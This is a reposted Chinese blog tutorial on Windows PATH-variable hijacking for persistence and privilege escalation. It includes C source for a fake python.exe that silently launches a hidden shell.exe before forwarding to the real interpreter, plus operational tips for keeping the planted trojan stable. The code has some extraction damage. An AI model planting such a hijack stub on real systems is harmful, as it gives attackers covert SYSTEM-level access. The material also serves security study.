windows环境变量滥用维权/提权

news2024/11/16 9:25:33

本文转载于:https://bbs.zkaq.cn/t/31090.html

0x01 前提

通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。

攻击的关键前提:

  1. 路径搜索顺序: 当用户在命令行或程序中执行一个命令时,系统会在环境变量$PATH定义的路径列表中搜索要执行的程序。它将从列表中的第一个路径开始搜索,然后按顺序继续搜索,直到找到匹配的程序。
  2. 权限限制: 用户权限的差异是这种攻击的基础。攻击者通常需要两类用户:
    • 低权限用户(M): 拥有较低权限,只能访问和写入特定文件夹,例如c:\temp。
    • 高权限用户: 拥有系统管理员或其他高权限角色,能够执行敏感的系统命令和操作。
  3. 环境变量设置: 攻击者需要控制或能够修改低权限用户(M)的环境变量设置,尤其是$PATH变量。

0x02 原理分析

原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。

正常情况系统的环境变量是从c:\Windows\system32开始遍历,如下所示:

但是,当存在于环境变量的路径在c:\Windows\system32之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:\Windows\temp变量路径滥用):

并且查看文件夹访问权限,是可以用户修改的,查询如下:

  • BUILTIN\Users:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。
  • BUILTIN\Administrators:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。
  • NT AUTHORITY\SYSTEM:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。
  • CREATOR OWNER:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。
  • SAEDYQJKFJNNOFS\camer:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。

当用户将恶意程序放在c:\Windows\temp目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:

0x03 利用思路

实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:\Windows\system32)中的可执行文件,以确保系统的稳定性和安全性。

所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。

恶意程序如下(劫持的python.exe):

#include <windows.h>
#include <stdio.h>

int main(int argc, char argv[]) {
// 恶意程序
wchar_t
Shell = L"C:\Windows\Temp\shell.exe";

HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);

  // 保证python程序能够正常执行
if (argc &gt;= 2) {
    const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";

    // 构建调用Python脚本的命令
    char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
    snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);

    // 将额外的参数添加到 Python 命令中
    for (int i = 2; i &lt; argc; ++i) {
        strcat(pythonCommand, " ");
        strcat(pythonCommand, argv[i]);
    }
    // 调用Python脚本
    system(pythonCommand);
}
return 0;

}

假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):

python 1.py greeting morning

执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:

0x04 思考总结

普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1012498.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

联合华为“围剿”苹果,他笑得憋都憋不住

作者&#xff1a;狗蛋 螳螂观察快评&#xff1a;联合华为围剿苹果&#xff0c;荣耀总裁赵明笑得憋都憋不住&#xff0c;离开华为的荣耀过得怎么样了&#xff1f;#华为 #荣耀发布会 #赵明 #苹果开售 #中国芯片 华为5g手机王者归来&#xff0c;苹果慌了&#xff0c;其他友商也慌…

【论文记录】Boosting Detection in Crowd Analysis via Underutilized Output Features

Boosting Detection in Crowd Analysis via Underutilized Output Features Abstract Crowd Hat使用一种混合的2D-1D压缩技术进行细化空间特征与获取特定人群信息的空间和数量分布。进一步的&#xff0c;Crowd Hat采用自适应区域的NMS阈值与一个解耦然后对齐的范式来解决基于…

C++【视频笔记个人思考_Wang】

时间进度C是什么&#xff1f;多态什么是多态&#xff1f;生活中的多态C中的多态 赋值兼容赋值兼容规则实现安全转换 时间进度 Day101 ok Day804 ok Day805 ok C是什么&#xff1f; C大部分包含C语言。 C完全兼容C语言。 C在C语言的基础上添加&#xff1a;封装、继承、多态…

代码混淆和加固,保障应用程序的安全性

摘要&#xff1a;本文将详细介绍iOS技术博主在保护应用程序代码安全方面的两种重要方式&#xff1a;代码混淆和代码加固。通过代码混淆和加固&#xff0c;博主可以有效防止他人对应用程序进行逆向工程和篡改&#xff0c;提高应用程序的安全性。 引言&#xff1a;作为iOS技术博…

嵌入式Linux驱动开发(I2C专题)(六)

完善虚拟的I2C_Adapter驱动并模拟EEPROM 参考资料&#xff1a; Linux内核文档: Linux-4.9.88\Documentation\devicetree\bindings\i2c\i2c-gpio.txtLinux-5.4\Documentation\devicetree\bindings\i2c\i2c-gpio.yaml Linux内核驱动程序&#xff1a;使用GPIO模拟I2C Linux-4.9.…

【洁洁送书第七期】现在学 Java 找工作还有优势吗

java 现在学 Java 找工作还有优势吗&#xff1f;活力四射的 JavaTIOBE 编程语言排行榜从零开始学会 JavaJava 语言运行过程基础知识进阶知识高级知识talk is cheap, show me the code结语 文末赠书 现在学 Java 找工作还有优势吗&#xff1f; 在某乎上可以看到大家对此问题的…

C++算法进阶系列之倍增算法 ST 表

1. 引言 前文使用倍增算法实现了快速求幂的运算&#xff0c;本文继续讲解ST表&#xff0c;ST表即倍增表&#xff0c;本质就是动态规划表&#xff0c;记忆化了不同子问题域中的结果&#xff0c;用于实时查询。只是动态规划过程和传统的稍有点不一样&#xff0c;采用了倍增思想。…

一文带你走进软件测试的大门

目录 前言 需求 用户需求 软件需求 从测试人员的角度看需求 测试用例 测试环境 测试数据 预期结果 操作步骤 为什么要有测试用例 Bug的概念 世界上的第一个bug bug的定义 开发模型和测试模型 软件的生命周期 开发模型 瀑布模型 螺旋模型 增量、迭代 敏捷 …

服务器搭建(TCP套接字)-基础版(客户端)

一、socket 1.1、vim man查看socket :!man socket1.2、 依赖的头文件 #include <sys/types.h> #include <sys/socket.h>1.3、原型 int socket(int domain, int type, int protocol);domain说明AF_INETIPV4协议AF_INET6IPV6协议AF_LOCALUnix域协议 type说明S…

华为云云耀云服务器L实例评测|单节点环境下部署ClickHouse21.1.9.41数据库

文章目录 前言云耀云服务器L实例简介clickhouse数据库简介 一、配置环境购买云耀云服务器L实例查看云耀云服务器L实例状态重置密码查看弹性公网IP地址 FinalShell连接服务器二、搭建ClickHouse单机服务下载ClickHouse安装包解压安装依次解压启动clickhouse相关目录 三、允许远程…

为什么IPIDE代理IP可以帮助TikTok引流?

近期&#xff0c;TikTok菲律宾站点保温杯30天销量破30万&#xff0c;GMV达到近千万人民币。在当今社交媒体迅速崛起的时代&#xff0c;营销策略也在逐渐改变。TikTok作为一款非常热门的短视频社交应用&#xff0c;拥有庞大的用户群体&#xff0c;为跨境企业在国际市场上推广产品…

5个免费样机素材网站,设计必备,赶紧马住!

5个设计师必备的样机素材网站&#xff0c;免费下载~ 1、菜鸟图库 https://www.sucai999.com/searchlist/3217.html?vNTYxMjky 菜鸟图库有多种类型的设计素材&#xff0c;像平面、电商、UI、办公等素材这里面都能找到&#xff0c;样机素材非常丰富&#xff0c;比如服装的、电子…

Arcgis在属性表中添加外部Excel信息

Arcgis在属性表中添加外部Excel信息 现需要把EXCEL中这个每个像元的叶面积指数值&#xff0c;导入每个像元的属性表中。 在点的图层上右击&#xff0c;找到连接和关联&#xff0c;点击连接 字段是用于连接属性表和EXCEL的键&#xff0c;两个字段下的数据都是主键&#xff0…

揭秘梦幻般的Glam风格是什么?

如果你热爱一切漂亮、奢华和总体而言都非常华丽&#xff0c;那么华丽风格可能非常适合你。这种风格从传统的外观出发&#xff0c;通过大量的装饰细节增添了一些华丽的元素&#xff0c;创造出一个令人惊叹、闪闪发光、全方位优雅的外观。如果华丽风格引起了你的兴趣&#xff0c;…

微信小程序自动化发布

参考:https://developers.weixin.qq.com/miniprogram/dev/devtools/ci.html 参考:https://www.npmjs.com/package/miniprogram-ci npm install miniprogram-ci -S上传文件 xx.js const isNodeJs typeof process ! undefined && process.release ! null &&…

RabbitMQ消息可靠性(二)-- 消费者消息确认

和生产者的消息确认机制不同&#xff0c;因为消息接收本来就是在监听消息&#xff0c;符合条件的消息就会消费下来。 所以&#xff0c;消息接收的确认机制主要存在三种模式&#xff1a; ①自动确认&#xff0c; 这也是默认的消息确认情况。 AcknowledgeMode.NONE RabbitMQ成功…

Google高性能开源框架gRPC:快速搭建及HTTP/2抓包

一、什么是gRPC gRPC是google发起的一个*远程过程调用&#xff08;rpc&#xff09;*开源框架&#xff0c;可以在任何语言中&#xff0c;用任何编程语言编写。gRPC基于HTTP/2协议&#xff0c;使用Protocol Buffers作为序列化工具。 gRPC官网&#xff1a;https://grpc.io/ RPC …

目标跟踪:Mobile Vision Transformer-based Visual Object Tracking

论文作者&#xff1a;Goutam Yelluru Gopal,Maria A. Amer 作者单位&#xff1a;Concordia University 论文链接&#xff1a;https://arxiv.org/pdf/2309.05829v1.pdf 项目链接&#xff1a;https://github.com/goutamyg/MVT 内容简介&#xff1a; 1&#xff09;方向&#…

使用凌鲨调试网络接口

接口或API是程序员之间进行沟通和协作的重要工具之一。通过接口或API&#xff0c;程序员可以相互调用和共享代码、数据和资源&#xff0c;从而提高协作和开发的效率与便捷性。接口调试的难易程度直接决定了协作的效率。 凌鲨支持主流的接口协议&#xff0c;包括GRPC、OPENAPI/…

Windows PostgreSql 创建多个数据库目录

1 使用默认用户Administrator 1.1初始化数据库目录 E:\Program Files\PostgreSQL\13> .\bin\initdb -D G:\DATA\pgsql\data3 -W -A md5 1.2连接数据库 这时User为Administrator&#xff0c;密码就是你刚才设置的&#xff0c;我设置的为123456&#xff0c;方便测试。 2 添加…